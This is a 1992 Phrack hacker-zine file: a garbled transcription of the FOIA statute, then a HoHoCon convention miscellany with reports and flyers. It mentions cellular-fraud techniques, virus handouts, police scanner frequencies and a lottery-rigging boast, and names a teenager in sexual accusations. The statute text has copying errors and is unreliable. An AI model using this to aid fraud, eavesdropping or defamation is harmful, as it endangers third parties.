(1) Each agency shall separately state and currently publish in the Federal
Register for the guidance of the public-
(A) descriptions of its central and field organization and the
established places at which, the employees (and in the case of a
uniformed service, the members) from whom, and the method whereby, the
public may obtain information, make submittals or requests, or obtain
decisions;
(B) statements of the general course and method by which its functions
are channeled and determined, including the nature and requirements of
all formal and informal procedures available;
(C) rules of procedures, descriptions of forms available or the places
at which forms may be obtained, and instructions as to the scope and
contents of all papers, reports, or examinations;
(D) substantive rules of general applicability adopted as authorized by
law, and statements of general policy or interpretations of general
applicability formulated and adopted by the agency; and
(E) each amendment, revision, or repeal of the foregoing.
Except to the extent that a person has actual and timely notice of the terms
thereof, a person may not in any manner be required to resort to, or be
adversely affected by, a matter required to be published in the Federal
Register and not so published. For the purpose of this paragraph matter
reasonably available to the class of persons affected thereby is deemed
published in the Federal Register when incorporated by reference therein with
the approval of the Director of the Federal Register.
(2) Each agency, in accordance with published rules, shall make available
for public inspection and copying-
(A) final opinions, including concurring and dissenting opinions, as
well as orders, made in the adjudication of cases;
(B) those statements of policy and interpretations which have been
adopted by the agency and are not published in the Federal Register; and
(C) administrative staff manuals and instructions to staff that affect
a member of the public;
unless the materials are promptly published and copies offered for sale. To
the extent required to prevent a clearly unwarranted invasion of personal
privacy, an agency may delete identifying details when it makes available or
publishes an opinion, statement of policy, interpretation, or staff manual or
instruction. However, inn each case the justification for the deletion shall
be explained clearly in writing. Each agency shall also maintain and make
available for public inspection and copying current indexes providing
identifying information for the public as to any matter issued, adopted, or
promulgated after July 4, 1967, and required by this paragraph to be made
available or published. Each agency shall promptly, quarterly or more
frequently, and distribute (by sale or otherwise) copies of each index or
supplement thereto unless it determines by order published in the Federal
Register that the publication would be unnecessary and impracticable, in which
case the agency shall nonetheless provide copies of such index on request at a
cost not to exceed the direct cost of duplication. A final order, opinion,
statement of policy, interpretation, or staff manual or instruction that
affects a member of the public may be relied on, used, or cited as precedent
by an agency against a party other than an agency only if-
(i) it has been indexed and either made available or published as
provided by this paragraph; or
(ii) the party has actual and timely notice of the terms thereof.
(3) Except with respect to the records made available under paragraphs (1)
and (2) of this subsection, each agency, upon any request for records which
(A) reasonably describes such records and (B) is made in accordance with
published rules stating the time, place, fees (if any), and procedures to be
followed, shall make the records promptly available to any person.
(4)(A) In order to carry out the provisions of this section, each agency
shall promulgate regulations, pursuant to notice and receipt of public
comment, specifying a uniform schedule of fees applicable to all constituent
units of such agency. Such fees shall be limited to reasonable standard
charges for documents search and duplication and provide for recovery of only
the direct costs of such search and duplication. Documents shall be furnished
without charge or at a reduced charge where the agency determines that waiver
or reduction of the fee is in the public interest because furnishing the
information can be considered as primarily benefiting the general public.
(B) On complaint, the district court of the United States in the district
in which the complainant resides, or has his principal place of business,
or in which the agency records are situated, or in the District of
Columbia, has jurisdiction to enjoin the agency from withholding agency
records and to order the production of any agency records improperly
withheld from the complainant. In such a case the court shall determine
the matter de novo, and may examine the contents of such agency records in
camera to determine whether such records or any part thereof shall be
withheld under any of the exemptions set forth in subsection (b) of this
section, and the burden is on the agency to sustain its action.
(C) Notwithstanding any other provision of law, the defendant shall serve
an answer or otherwise plead to any complaint made under the
subsection within thirty days after service upon the defendant of the
pleading i which such complaint is made, unless the court otherwise
directs for good cause shown.
(D) Except as to cases the court considers of greater importance,
proceedings before the district court, as authorized by this
subsection, and appeals therefrom, take precedence on the docket over
all cases and shall be assigned for hearing and trial or for argument
at the earliest practicable date and expedited in every way.
(E) The court may assess against the United States reasonable attorney
fees and other litigation costs reasonably incurred in any case under
this section in which the complainant has substantially prevailed.
(F) Whenever the court orders the production of any agency records
improperly withheld from the complainant and assesses against the
United States reasonable attorney fees and other litigation costs,
and the court additionally issues a written finding that the
circumstances surrounding the withholding raise we questions whether
agency personnel acted arbitrarily or capriciously with respect to
the withholding, the Civil Service Commission shall promptly initiate
a proceeding to determine whether disciplinary action is warranted
against the officer or employee who was primarily responsible for the
withholding. The Commission, after investigation and consideration of
the evidence submitted, shall submit its findings and recommendations
to the administrative authority of the agency concerned and shall
send copies of the findings and recommendations to the officer or
employee or his representative. The administrative authority shall
take the corrective action that the Commission recommends.
(G) In the event of noncompliance with the order of the court, the
district court may punish for contempt the responsible employee, and
in the case of a uniformed service, the responsible member.
(5) Each agency having more than one members shall maintain and make
available for public inspection a record of the final votes of each member in
every agency proceeding.
(6)(A) Each agency, upon any request for records made under paragraph
(1),(2), or (3) of the subsection, shall-
(i) determine within ten days (except Saturdays, Sundays, and legal
public holidays) after the receipt of any such request whether to comply
with such request and shall immediately notify the person making such
request of such determination and the reasons therefor, and of the right
of such person to appeal to the head of the agency and adverse
determination; and
(ii) make a determination with respect to any appeal within twenty days
(excepting Saturdays, Sundays, and legal public holidays) after the
receipt of such appeal. If on appeal the denial of the request for
records is in whole or in part upheld, the agency shall notify the person
making such request of the provisions for judicial review of that
determination under paragraph (4) of this subsection.
(B) In unusual circumstances as specified in this subparagraph, the time
limits prescribed in either clause (i) or clause (ii) of subparagraph (A)
may be extended by written notice to the person making such request setting
forth the reasons for such extension and the date on which a determination
is expected to be dispatched. NO such notice shall specify a date that
would result in an extension for more than ten working days. As used in
this subparagraph, "unusual circumstances" means, but only to the extent
reasonably necessary to the proper processing of the particular request-
(i) the need to search for and collect the requested records from field
facilities or other establishments that are separate from the office
processing the request;
(ii) the need to search for, collect, and appropriately examine a
voluminous amount of separate and distinct records which are demanded in
a single request; or
(iii) the need for consultation, which shall be conducted with all
practicable speed, with another agency having a substantial interest in
the determination of the request or among two or more components of the
agency having substantial subject-matter interest therein.
(C) Any person making a request to any agency for records under paragraph
(1), (2), or (3) of this subsection shall be deemed to have exhausted his
administrative remedies with respect to such request if the agency fails
comply with the applicable time limit provisions of this paragraph. If the
Government can show exceptional circumstances exist and that the agency is
exercising due diligence in responding to the request, the court may retain
jurisdiction and allow the agency addition time to complete its review of
the record. Upon any determination by an agency to comply with a request
for records, the records shall be made promptly available to such person
making such request. Any notification of denial of any request for records
under this subsection shall set forth the names and titles or positions of
each person responsible for the denial of such request.
(b) This section does not apply to matters that are-
(1) (A) specifically authorized under criteria established by an Executive
Order to be kept secret in the interest of national defense or foreign policy
and (B) are in fact properly classified pursuant to each Executive Order;
(2) related solely to the internal personnel rules and practices of the
agency;
(3) specifically exempted from disclosure by statute;
(4) trade secrets and commercial or financial information obtained from a
person and privileged or confidential;
(5) inter-agency or intra-agency memorandums or letters which would not be
available by law to a party other than an agency in litigation with the
agency;
(6) personnel and medical files and similar files the disclosure of which
would constitute a clearly unwarranted invasion of personal privacy;
(7) investigatory records compiled for law enforcement purposes, but only to
the extent that the production of such records would (A) interfere with
enforcement proceeding, (B) deprive a person of a right to a fair trial or an
impartial adjudication, (C) constitute an unwarranted invasion of personal
privacy, (D) disclose the identity of a confidential source and, in the case
of a record compiled by a criminal law enforcement authority in the course of
a criminal investigation, or by an agency conducting a lawful national
security intelligence investigation, confidential information only furnished
by the confidential source, (E) disclose investigative techniques and
procedures, or (F) endanger the life or physical safety of law enforcement
personnel;
(8) contained in or related to examination, operating or condition reports
prepared by, one behalf of, or for the use of an agency responsible for the
regulation or supervision of financial institutions; or
(9) geological and geophysical information and data, including maps,
concerning wells.
Any responsible segregable portion of a record shall be provided to any person
requesting such record after deletion of the portions which are exempt under
the subsection.
(c) This section does not authorize withholding of information or limit the
availability of records to the public, except as specifically stated in this
section. This section is not authority to withhold information from Congress.
(d) On or before March 1 of each calendar year each agency shall submit a
report covering the preceding calendar year to the Speaker of the House of
Representatives and President of the Senate for referral to the appropriate
committees of Congress. The report shall include-
(1) the number of determinations made by such agency not to comply with
requests for records made to such agency under subsection (a) and the reasons
for each determination;
(2) the number of appeals made by persons under subsection (a)(6), the
result of such appeals, and the reason for the action upon each appeal that
results in a denial of information;
(3) the names and titles or positions of each person responsible for the
denial of records requested under this section, and the number of instances
for participation of each;
(4) the results of each proceeding conducted pursuant to subsection
(a)(4)(F), including a report of the disciplinary action taken against the
officer or employee who was primarily responsible for improperly withholding
records or an explanation of why disciplinary action was not taken;
(5) a copy of every rule made by such agency regarding this section;
(6) a copy of the fee schedule and the total amount of fees collected by the
agency for making records available under this section; and
(7) such other information as indicates efforts to administer fully this
section.
The Attorney General shall submit an annual report on or before March 1 of
each calendar year which shall include for the prior year a listing of the
number of cases arising under this section, the exemption involved in each
case, the disposition of such case, and the cost, fees, and penalties assessed
under subsections (a)(4)(E),(F), and (G). Such report shall also include a
description of the efforts undertaken by the Department of Justice to
encourage agency compliance with this section.
(e) for purposes of this section, the term "agency" is defined in section
551(1) of this title includes any executive department, military department,
Government corporation, Government controlled corporation, or other
establishment in the executive branch of the Government (including the
Executive Office of the President), or any independent agency.
------------------------------------------------------------------------------
In Conclusion:
The Freedom of Information Act is a powerful tool that can be used to
benefit yourself and to find out what the feds keep in their log books on you.
Use it, just don't abuse it. It gives the individual much power over the
government. We no longer have to prove a reason to know the information, but
we have a right to know the information. Its the government's job to keep the
information away from us. I would also like to mention that regulations and
all documents that agencies carry can be found in any major library. This
will save you cash and frustration. Anyways, keep the faith, its not that bad
out there. And watch comedy central, its good for you.
Greets to: All the good users on atdt, the works, tlitd. Stargazer, daemon,
joker, shadow, the hopeless warez fanatics. Deranged derelict, jt, and all
the other virtual friends I forgot.
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 13 of 14
HoHoCon 1992
Miscellany
The hackers were getting nervous. It was understandable. Just a few weeks
before HoHoCon and already two other "get-togethers" had experienced
turbulence from the authorities.
Rumors began to fly that HoHo was to be the next target. Messages bearing
ill-tidings littered the underground. Everyone got worked into a frenzy about
the upcoming busts at HoHoCon. People began to cancel their reservations
while others merely refused to commit one way or the other.
But, amidst all the confusion and hype, many declared "Let them try to
raid us! I'm going anyway!" These were the few, the proud...the stupid.
-------------------------------------------------------------------------------
HoHoCon as I saw it - Erik Bloodaxe (Chris Goggans)
I arrived at the Allen Park Inn in the mid afternoon on Friday the 18th.
I was promptly greeted by several of my cohorts and a loping transient
who introduced himself as "Crunchhhhhhhhh." Yes, John Draper, the infamous
Captain Crunch had actually ventured outward to attend our little party.
(Yes, Virginia, the rumors are true: The Captain is toothless, unkempt,
overbearing and annoying as all hell.)
I followed Scott Chasin back to our room, the pack of other early arrivals
in close file behind. After storing my gear I noticed that Draper was
looming in the doorway ranting furiously about all the smoking in our room.
"I've never heard of a hacker who smoked," exclaimed the Captain.
Taking this as my cue, I bummed a Djarum off of Crimson Death and took great
glee in adding my fumes to the enveloping fog.
Draper spent the next 30 minutes attempting to eavesdrop on various
conversations in which various old friends were catching up. Not knowing
any of us personally, he nonetheless felt obligated to offer his comments
about our discussions about life and college and music amidst his coughing
and complaining about the smoke.
After some time everyone was banished from the room and several of us
went out to eat. Scott Chasin, myself, two hackers (The Conflict, & Louis
Cypher) along with Gary Poole (covering the entire mess for Unix World) took
off for the nearest grease pit. Taco Bell won in proximity, and once
surrounded by burritos Scott, Conflict and I began our rant about Unix
Security (the lack thereof). Gary whipped out his Unix World pen and pad
and began taking notes. I am uncertain whether or not it was the content
of our spiel or the asides I repeatedly made regarding the bevy of giggling
coeds that garnered the most notes in Gary's booklet.
Back at the Con things were spicing up. More people had begun to arrive
and the Allen Park Inn staff began to worry about their safety and that of
their other guests. One remarked to Jesse (Drunkfux), the sponsor of HoHoCon, "That Draper
fellow needs to stay out of the lobby. He was eating large
amounts of flesh off his hands and it was scaring some of the visitors."
The staff did not know what to think at all when a father arrived with his
three sons and after purchasing a room on his credit card told the boys, "Ok
guys, Mom will be picking you up on Sunday."
This did not concern most of us. It was straight to the bar
for us, where Rambone bought Scott & myself a round of Kamikazes. Also at
the bar was Bootleg who had just gotten out. (Of what, and for what you
can find out on your own.) Bootleg is probably the smartest biker I have
ever had the pleasure to meet. We talked about sex, drugs, hawgs, computers,
cellular fraud and how close the nearest cabaret was.
A small controversy began to arise amidst the hackers at the bar. Stationed
near one end of the room was a table lined with older men. "FEDS," someone
murmured, gesturing at the group.
"Good for them," I said, and left the bar to look for Jesse. When I returned
several minutes later the hackers had engaged the strangers in conversation
and found that they weren't feds after all. Among this group were
Jim Carter of Houston-based Bank Security, and Bernie Milligan of
Communications & Toll Fraud Specialists, Inc. Once this news was out
tensions eased and everyone continued with their libations.
Suddenly I became aware that there was girl in the room. I had seen her out
in the courtyard previously but now she was alone. Turning on my
"Leisure Suit Larry" charm I grabbed the seat next to her. Melissa had arrived
from Austin to cover the event for Mondo-2000. She surprised me by telling
me that she knew who I was, where I worked, and even knew my extension number.
(I almost fell off the barstool.)
Jim & Bernie came over and joined us at the bar. Bootleg, Chaoswiz, Melissa
and I engaged them in wild stories about UFO's, hacking, the NSA & the CIA.
(Bernie alleged that he was ex-NSA, and Jim ex-CIA. We have not yet
determined if they were acting under orders from Col. Jim Beam & Gen. Jack
Daniels.)
After the ensuing debates on the true formation of the NSA, the group broke up
and Melissa and I took off to MC Allah's room to partake of the keg he had
brought. We walked in the room and were greeted with the sight of a four-foot
boy with a syringe sticking out of his arm. This was a bit much, even for me.
I snatched his "medication" away from him and found that it was really only
some type of growth hormone. The boy, 8-Ball, was actually 15 and his parents
had him on hormones to stimulate his growth. 8-Ball was totally whacked
out his mind nonetheless. I think he had ingested such a diverse amount of
God knows what by the time we arrived that he was lucky to remember where
he was. Later that evening he would become convinced that he was Scott
Chasin and confessed to quite a bit of wrongdoing just before he gave offerings
at the porcelain alter.
Conversations in the keg room left something to be desired. One large hacker
named Tony looked at Melissa and in his best British accent asked if he
could fondle her breasts. And the debate between MC Allah and Hunter about
who could drink the most alcohol reached a climax when both stuck their heads
under the keg spigot for extended periods of time.
Sometime just before 11:00 the hotel guard, attired in Raiders jacket and
a really, really big snow hat (the kind with the poofy ball on top) showed
up brandishing his paper baton, (A rolled up Houston Press). "You all
needs to get to yaw roomz, nah. I ain'tz ta gonna tell yaw no mo'."
Everyone looked the guard over and moved back into the keg room. Thus was
born, "Homie da Guard." After he wandered away, everyone moved back out
onto the porch.
It was getting late and I was supposed to speak the next morning so I tried to
get into our room. Scott Chasin, hacker extrordinaire, had locked me out.
After beating on the door for 10 minutes, the windows for 5, the walls for 10,
and letting the phone ring for another 15 minutes I decided that Scott was a
bit too tipsy to unlock the door so I crashed out on Jesse's floor.
That night, the water pipes broke. There was some speculation that those
evil hackers had "hacked the system." Not.
While complaining about the lack of water that night, someone overheard
three young attendees at a bank of pay phones attempting to order up
a few escorts on "credit." Rumor has it they were successful.
The next morning was chaos. By the time we arrived at the conference room
there were about 150 people inside. Louis Cypher sat at the door collecting
money for the raffle and getting everyone to sign the guest book. Jesse
and others were setting up various video equipment and getting things
in order. In the back of the room, Bernie sat scanning the crowd with a
super-ear, recording the conversations of those sitting.
Crunch was up in arms again. "If everyone in here doesn't stop smoking
I won't be able to do my speech. If you all want to hear me talk, you
will have to stop smoking." Several more cigarettes lit up. After
speaking with management, Crunch came back in and asked if everyone smoking
would at least move to one side of the auditorium nearest the door.
With hesitation, the crowd conceded.
The conference got underway with consultant Ray Kaplan taking a census of
those in attendance. The group ranged from under 15 to over 50, had
professionals and hobbyists, and had enthusiasts for every conceivable
type operating system. Ray went on to elaborate on one of his audio
conferences in which an FBI officer alluded that one of their key
sources of information was "I.R.C."
Bootleg got up and spoke on the vast potentials involved with cellular
fraud. He discussed how to monitor the reverse channel to obtain ESNs,
and where to obtain the equipment to allow you to do such a thing. He
later handed out diskettes (IBM format) containing information on how
to reprogram cellular phones and where to obtain the equipment necessary
to pick subscriber numbers out of the air.
Up next, myself and Chasin. Our topic was a bit obscure and cut deliberately
short due to concerns about the nature of our speech. During the Dateline
NBC piece that featured Chasin a piece of information flashed on the screen
that alluded to UFO information stored on military computers. Chasin
and I had gained possession of the research database compiled by the hackers
who were looking into this. We discussed their project, the rumors surrounding
their findings and the fear surrounding the project. Not knowing the true
details of this we declined to comment any further, but made the documentation
available to anyone who wanted a copy. We finished our speech by answering
questions about Comsec, Consultants, etc.
Steve Ryan, a Houston lawyer with a great deal of interest in the
legal aspects of cyberspace spoke next. He covered several of the current
issues affecting the community, spoke on laws in effect, cases pending,
and gave an insight to his background that led him to focus in on
the issues concerning the electronic community.
Next, Jim Carter gave a quick and dirty demonstration of how to monitor
electromagnetic radiation and how to do a simple data recovery from this
noise. He monitored a small data terminal from a portable television set
that was completely unmodified. He then spoke on how to read the
EMR from such things as plumbing, the ground, off of window panes, etc.
Jim's speech, although highly intriguing, got extremely vague at points,
especially regarding technology needed, his own background, etc.
(We will attribute this to his "CIA" training.)
The Hotel Officials showed up and demanded that everyone get out immediately.
Apparently someone had staggered into the kitchen, drunk, and broken
something. Steve Ryan left to smooth things out a bit. After a few minutes
he returned and told everyone that they could stay, but to keep it quiet
tonight. Thus the secret plans of some to drive the hotel golf cart
into the pool were crushed.
The raffle proved to be an exercise in banality. Everything from
flashing street lights to SunOS 4.1.3 to T-shirts to books were
auctioned off. One lucky devil even got an official Michael Jackson
candy bar.
The folks from RDT (Count Zero and White Knight) handed out a large amount
of photocopied goodies such as the new "Forbes" article on hackers,
a complete set of the old 70's telephony 'zine "TEL" as well as assorted other
flyers and pamphlets.
Up next, Louis Cypher spoke about his entanglement with the law
regarding his front-page bust for counterfeiting. He told of his
experiences with the law, how they got involved in such a dastardly
deed, what jail was like on the inside, and advice against anyone
else considering such a thing.
Up last, John Draper. Draper had managed by this time to annoy almost
everyone at the convention. A large portion of those in attendance
left as soon as he got up. They were the unlucky ones. Draper, for all his
oddities, is an intriguing speaker. His life has been quite rich with
excitement and when he can actually focus on a subject he is captivating.
He spoke on his trip to the Soviet Union where he met computer and telephone
enthusiasts in Moscow. He spoke on his unfortunate involvement with
Bill SF and the BART Card duplication scandal. He spoke, with obvious
longing, of the good old days of blue boxing, and stacking tandems to
obtain local trunks, and on verification circuitry.
Listening to Draper talk really brought me back to my beginnings. I could
hear in my head the "cachink-chink" of a tandem waiting for MF. I remembered
stacking tandems to Europe and back to call my other line. I remembered
the thrill of finding never before known trunks and exploring their
connections. I fell into a deep nostalgic high, and walked up to John
to tell him thanks. As I extended my hand to him, he mumbled something
unintelligible and wandered off. So much for paying respect.
About ten of us took off to Chuy's for dinner: Me, Chasin, Conflict,
Rambone, Dispater, Blue Adept, Minor Threat and reporters Joe Abernathy
and Gary Poole were among the diners. Everyone ate heartily and listened
to cordless telephone conversations on Rogue Agent's handheld scanner.
One conversation was between what appeared to be a "pimp" talking to his
"ho" about some money owed him by another in his flock. The conversation
drifted to the Dallas man who had terrorized an entire neighborhood some
months back with prank phone calls. Conflict and Dispater repeated a
few of the choicest of the calls for our amusement.
Back at the hotel, Dr. Hoffman's Problem Child had escaped, and several
casualties were reported.
Conflict, Chasin and I barricaded ourselves in our room and went on a lengthy
stream of consciousness rant about what we needed out of life. Our absolute
essentials were reduced to a small room with a computer hooked into the
Internet, a specially designed contour chair, a small hole through which
a secretary would give us food, virtual reality sex toys, and a toilet.
(Chasin suggested no toilet, but a catheter so we would never have to move.)
Gary Poole was quietly stunned in the corner of the room making mental notes.
Much of the con had moved into a suite that had been converted into a
mass computing arena. Several attendees from Pittsburgh had turned their
room into a lab with four Unix workstations with several terminals throughout
the room including the bathroom! These were hooked into the Internet through
a slip connection that had been rigged somewhere. It was quite a site.
The room was usually completely packed and smelled like a smoky gymnasium.
(It was rumored that after Chasin and I spoke on the UFO conspiracy, several
hackers began their attempts at penetrating the Ames Research Lab. No
reports back on their success.)
After I finished copying several Traci Lords video tapes (ahem) I relinquished
control of the decks to a room downstairs. Dispater played a video
manipulation he and Scott Simpson had produced. They had found a TRW training
video tape during a trashing run and dubbed in their own dialogue. (You'd
have to see it to fully understand.)
After that, I played a few tapes of my own. The first was a short film called
"Red," that chronicled the abusive prank phone calls directed at a bartender.
The film had the actual phone call tapes played with video stills. (Guess
where the Simpsons came up with that nifty idea...)
Following "Red," someone heard on the scanner that the guard was answering
a large noise disturbance in the room we were in. (Yes, they had the hotel
guard's 2-meter frequencies.) Everyone moved into another room before the
guard showed up. He was thoroughly confused.
In the next room I played the ultimate in shock, the sequel to the movie that
I had disturbed the entire con with last year, "Nekromantik II." I won't
go into any detail, since the title says it all. Once again, I reign as
the sickest person at HoHoCon, this honor bestowed upon me by everyone
who witnessed the showing.
As things winded down, several people ended up back in our room to waste
away the last few hours of the night. Several people returned from an
adventure to "an abandoned hospital." No one really understood what they went
to, but it sounded disturbing. Later, that same group would leave to
go climb "an abandoned grain storage tower." Go figure.
Approximately 2:00 am, a local hacker named Zach showed up. Scott had a few
words for Zach, as did most everyone at the Con. Zach lived in a fantasy
land where he was a top notch security consultant with high paying clients
in the telecommunications industry. He also like to name drop names like
Chasin and Goggans as his partners and as people who would swoop down
and terrorize the people he had any problems with. He also liked to turn
in, or threaten to turn in any of his rivals in the software pirating
community. He also like to proposition young boys both in person and
over the phone. At 17, Zach had a few problems.
Trapped in the corner of the room, Zach endured about an hour of questioning
and accusations (all of which he truly deserved.) Eventually Zach left,
apparently not affected by the ordeal at all. We attributed this to his
overly apparent schizophrenia brought on by denial of his sexual
tendencies.
Later that night the Pittsburgh gang blew out the power in their entire
wing. One was overheard, "Hmmm...guess we should have known that when the
power strips kept melting that we were drawing too much power."
The next morning everyone gathered up their gear and said so long. All but
a few who gathered in a room marked "the suite of the elite." Armed with
a nitrous oxide blaster, everyone sat around and viewed the con through
the roaming video eye of Jesse, who had managed to capture everyone
in some kind of compromising position. He will be selling them off
after he edits it a bit. It was dubbed "The Blackmail Tape."
In my opinion this year was much less anarchistic than last year. The
convention might not even be banished from this hotel. (Yeah, right.)
There were no raids, there were no overtly violent or satanic acts,
no fire alarms, no trashing runs (that I saw), no fights,
and there were no strippers (alas). The conference portion of the
event was much better organized, there was much more interesting
information to be shared, and was well worth the distances traveled by
all.
This was HoHoCon '92.
--------------------------
H*O*H*O*C*O*N '92
Frosty's Itinerary
Thursday 8pm Take off and go bar hopping all night long to build up
stamina for the convention.
Thrusday 10pm Quit bar hopping and waste shitloads of money at the
casinos in feeble attempts to get gas money for the trip.
Friday 5am Leave the casino and decide to get some sleep after spending
hours to win a meager $10 over starting cash.
Friday 8am Wake up and decide to pack for the trip. Forget necessities
that we couldn't live without. Remember to bring junk food.
Friday 9am Stuff assembled GCMS members into subcompact Japanese micro
car and leech as much gas money out of them as possible.
Friday 2pm Stop at the friendly convenient store to rob it of precious
sugar-coated necessities and obtain mucho lotto tickets.
Friday 4pm Endure Windrunner's gruelling multi-hour long verbatim
rantings of taking the Purity Test 1500 verbally.
Friday 7pm Pull out many maps and try to find the damn hotel in Houston.
Friday 9pm Arrive at the hotel getting a room for one (car stuffed
with people sits outside the lobby). Request two keys.
Friday 10pm Test the smoke machine on the hotel grounds. Chase young
code-kids out of your way, threatening to disable their
phones.
Friday 11pm Crash in room from lack of sleep. Kick other members out
of your way. Ignore multiple alcoholic beverages lining
the room. Ponder what's sleeping in the chair briefly.
Saturday ??? Try to figure out if you're awake or dead. Take a collection
from those that are still alive. Run to some micro-compact
Japanese convenience store hidden in the middle of suburbia
hell and obtain sugar-coated nutrients with Windrunner and
JunkMaster and Gaijin.
Saturday 1pm Arrive for the conference. Get mega-amounts of raffle tickets.
Saturday 2pm Conference actually gets started a few hours behind schedule.
Tape conversations from the man with the whisper 2000 home
version. Ponder the light orbiting Erik B's head.
Saturday 4pm Witness Steve Ryan in action against the hotel staff.
Wonder where the young hack in the corner got the gallon,
mostly empty now, of wine. Ponder if he's going to spew.
Saturday 6pm Try to figure out what everyone is going to do with the
several hundred flashing construction lights given out.
Calculated the ratio of men to women as 15,000:1, roughly.
Saturday 8pm Try to keep awake while wondering how much torture can be
sustained. Watch Count Zero nodding off. Hitman and I
pulled out our decoder rings to interpret Crunch's hidden
message.
Saturday 10pm Dominoes Pizza makes it to the room. OUR SAVIOR !!! He's
5-minutes late. Custody battle over the pizza ensues. The
manager is called, at which point he lowers the $50 price
for the two pizzas down to $30. We scrape a few dollars and
hand the peon delivery boy some cheap beer.
Saturday Nite Hand out copies of "cindy's torment" to the code kids.
Watch Erik B.'s continuation of necrophiliac desires on
the acquired VCR that mysteriously appeared. Avoided the
hotel security by changing room while monitoring their
frequencies (thanks RDT). Obtained evidence that hackers
were breaking into VR R&D departments to engage in endless
routines of VR sex for Cyborgasmic responses. Saw Crunch's
host's room blow out as the multitudes of computers fry the
circuits. Followed the 'sheep' about the hotel.
Sunday ??? Woke bright and early to a car locked with the keys inside.
Fortunately, 50-odd slim-jims appeared out of nowhere to
save the day. Windrunner chauffeured us back to our lair.
Sunday 3pm Hacked into the Louisiana Lotto machine from an acoustical
modem and laptop from a pay phone to rig the numbers and
then bought a ticket.
Sunday 7pm Returned to hell. Lost the lotto ticket in the growing
pile of sugar-coated necessities sheddings. Cursed.
Sunday 8pm Turned the PC on and hit the networks.
--------------------------
Jim Carter, president of Bank Security in Houston, TX, wrote the
following impressions of HoHoCon for Security Insider Report
(December, 1992)
HoHoCon was in fact "Unphamiliar Territory" for this "good ole boy,"
but it didn't take long till I was into the swing of things and
telling lies of how we cheat and steal to get our information. Of
course, everyone who talked to this "good ole boy" thought he was with
one of the three letter agencies. As the stories rolled on about what
they (the hackers) could do, such as produce virii that would cause
video display terminals and hard drives to smoke, I had to sit back, sip
my brewski and say "wow." We sat back, enjoyed a few more rounds, told
a few more lies and had a good time.
Well, this old boy didn't show until about noon on Saturday. Of course
the conference hadn't started yet so we didn't miss anything. The
program was kicked off with a number of questions about who, what, where
and how. It was difficult to determine how many people were there since
the room was packed like a can of sardines. Our estimate was over two
hundred, not counting the hackers still in their rooms. Was this
another drunken free for all, as in the past? A report was given on
cellular hacking and toll fraud. Hackers' rights were presented by an
attorney. Also discussed was the stupidity of the press and law
enforcement.
Some others talked about suppressed information from the federal
government concerning UFO's and how hackers are gaining this info. And
of course the White House wants to know their sources.
Hand outs were given including virii and virus source code. I did
decline any virii, but who knew what I would get before this was over.
I believe this was the most responsive and gratifying group I have
spoken to this year. I also expect to get more business because of this
presentation than any other this year.
A lengthy door prize was held in which I was the winner of more virii.
Again, I did decline, but passed the winning ticket on. Captain Crunch
was the final speaker. In conclusion, the attendees were the good, the
bad and the ugly. We did find HoHoCon very informative and, yes, we
will attend again. In closing, I hope each and everyone had a very
"Merry HoHoCon."
--------------------------
A (Hacker's) Mind is a Terrible Mind to Waste
Unix World, page 136, March 1993
by Gary Andrew Poole
[Unix World wanted MONEY to reprint this in full...Yeah, right.
Someone already posted it on alt.cyberpunk some time ago
if you can't find it anywhere.]
*-----------------------------------*
Various Stuff Picked up at HoHoCon
*-----------------------------------*
--------------------------
Flyer:
--------------------------
Unphamiliar Territory
Phalcon/Skism Western World Headquarters
The Ghost in The Machine Distribution
Featuring:
- 'Neutral Territory' forum where security issues can be discussed with
top security people in the field.
- Completely LEGAL forums on computer security, hacking, phraud.
- Thousands of textfiles covering all aspects of the underground.
- Hundreds of viruses and virus source code for the serious
programmer.
Information:
- Administrators are Invalid Media, Mercury/NSA, Warlock Bones and
Jaeger.
- Run on a professor Falken/LOD donated ZOOM v32bis
- Mentioned in MONDO 2000 and reviewed in the latest Infoworld.
- Dialin 602-894-1757 / 24 hours
--------------------------
Flyer
--------------------------
In your defense..... Courtesy Freeside Orbital Data Network, HoHoCon '92
- B. O'Blivion
Repeat after me:
"If I am reading this to you, then I believe that you are
questioning, detaining, or arresting me, or searching my person or
possessions in the course of your official duties."
"I do not consent to any search of seizure of any part of my person
or property, nor to any property of others under my control. I do not
consent to any person's examination, search, or removal of any
information storage equipment or media in my possession. You are hereby
notified that such information storage equipment or media contain
private written and electronic mail, confidential communications, and
other material protected under the Electronic Communications Privacy Act
and other statutes."
"I respectfully decline to answer any questions beyond confirmation
of my identity, and require access to legal counsel immediately. I
demand that access to legal counsel be provided to me before any
questioning takes place. I will answer no questions nor give any
information outside the presence of legal counsel. All requests for
interviews, statements, consents, or information of any sort should be
addressed to me through my attorney. I invoke the rights five to me by
the Fifth and Sixth Amendments of the Constitution of the United
States."
"I further notify you that the speech and information contained on
information storage and handling devices at this site are protected
by the First and Fourth Amendments to the Constitution of the United
States, and that any unlawful search or seizure of these items or of
the information they contain will be treated as a violation of the
Constitutional rights of myself and other users of these devices and
media."
"I further notify you that any such violations of any person's legal
or Constitutional rights which are committed at any time, by any person,
will be the subject of civil legal action for all applicable damages
sustained. I require that at this time all officers participating in
this illegal search, seizure, or arrest identify themselves at this time
by name and badge number to me and my legal counsel."
[Include if applicable]
"I further notify you that I am a Computer System Operator providing
private electronic mail, electronic publications, and personal
information storage services to users in this State, and among the
United States. Any person causing a breach of the security of, or
violation of the privacy of, the information and software herein will be
held liable for all civil damages suffered by any and all users
thereof."
--------------------------
Flyer
--------------------------
HoHoCon 1992
Amusing Local Frequencies
courtesy of -=RDT.
Allen Park Inn Security - 464.500 Houston Post - 154.540
173.275
452.975
Houston Police:
North Shepherd Patrol - 460.325
NE Patrol - 460.125
SE Patrol - 460.025
SW Patrol - 460.050
Central Patrol - 460.100
Spec. Op. Traffic - 460.350
Car 2 Car - 460.225
South Central Patrol - 460.550
NW Patrol - 460.475
West Patrol - 460.150
Accident - 460.375
Misc - 460.525
460.575
460.400
Records - 460.425
City Marshalls - 453.900
Paging - 155.670
Police Intercity - 453-550
A number of people have been asking "who is RDT? what the hell is
RDT?" For the record, we're hackers who believe information should be
free. All information. The world is full of phunky electronic gadgets
and networks, and we want to share our information with the hacker
community. We currently write for 2600 magazine, Phrack, Mondo 2000,
Cybertek, and Informatik.
The five "charter members" of RDT are Count Zero, Brian Oblivion,
Magic Man, White Knight, and Omega. Each of us has complementary
skills, and as a group we have a very wide area of technical
knowledge. Feel free to contact us.
Count Zero - count0@ganglia.mgh.harvard.edu
Brian Oblivion - oblivion@ganglia.mgh.harvard.edu
